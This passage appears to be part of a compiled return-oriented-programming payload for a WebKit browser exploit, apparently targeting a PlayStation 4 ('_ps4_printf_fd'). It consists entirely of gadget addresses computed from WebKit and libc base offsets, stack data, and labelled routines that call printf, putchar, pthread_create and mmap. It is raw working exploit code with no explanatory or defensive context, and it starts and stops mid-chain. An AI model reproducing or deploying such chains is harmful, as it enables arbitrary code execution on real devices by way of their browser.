0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2333: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2334: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+158400, //L2335 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+158432, //L2337 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+158416, //L2336 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2335: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2336: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2337: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+158536, //L2338 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+158552, //L2339 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2338: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2339: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+158672, //L2340 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+158656, //L2341 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2341: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2340: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+158760, //L2343 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+158744, //L2342 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2342: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2343: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+158864, //L2344 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+158880, //L2345 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2344: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2345: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+159000, //L2346 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+158984, //L2347 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2347: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2346: +db([0, 0]); // 0x0 +//L2331: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +pthread_create_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+160328, //L2348 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2348: +db([0, 0]); // 0x0 +//L2121: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +mmap_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+161656, //L2349 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L2349: +db([0, 0]); // 0x0 +//_printf_: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+161728, //L2351 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2351: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+161792, //L2353 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2353: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+161896, //L2354 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+161912, //L2355 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2354: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2355: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+162032, //L2356 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+162016, //L2357 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2357: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L2356: +db([0, 0]); // 0x0 +//__putchar: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+162104, //L2359 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L2359: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+162192, //L2360 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+162224, //L2362 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L2360: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2361: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2362: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2363: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+162336, //L2365 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+162320, //L2364 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2364: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2365: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+162472, //L2368 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+162440, //L2366 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2366: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+165442, //pop rdi +//L2367: +ropchain+136, //_ps4_printf_fd +libc_base+768796 //pop rax +]); +//L2368: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+162632, //L2370 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+162664, //L2372 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+162616, //L2369 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+162648, //L2371 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2369: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2370: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2371: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2372: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+162744, //L2373 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+162760, //L2374 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2373: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2374: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+162872, //L2375 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+162904, //L2377 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+162888, //L2376 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2375: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2376: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2377: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+8949069, //setle al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+163064, //L2378 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+163096, //L2380 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+163080, //L2379 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2378: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2379: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2380: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+163240, //L2384 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+163256, //L2385 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+163224, //L2383 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2382: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L2383: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L2384: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2385: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+163368, //L2386+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+163360, //L2386 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L2386: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+163384, //L2386+24 +ropchain+164216, //L2381 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+163456, //L2389 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L2387: +db([1, 0]); // 0x1 +set_gadget(libc_base+165442,); //pop rdi +//L2388: +db([1, 0]); // 0x1 +set_gadget(webkit_base+3789839,); //pop r11 +//L2389: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+163552, //L2391 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+163536, //L2390 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L2390: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L2391: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+163648, //L2393 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L2392: +db([16, 0]); // 0x10 +set_gadget(libc_base+768796,); //pop rax +//L2393: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+163792, //L2396 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+163760, //L2394 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L2394: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+165442, //pop rdi +//L2395: +ropchain+136, //_ps4_printf_fd +libc_base+768796 //pop rax +]); +//L2396: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+163952, //L2398 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov 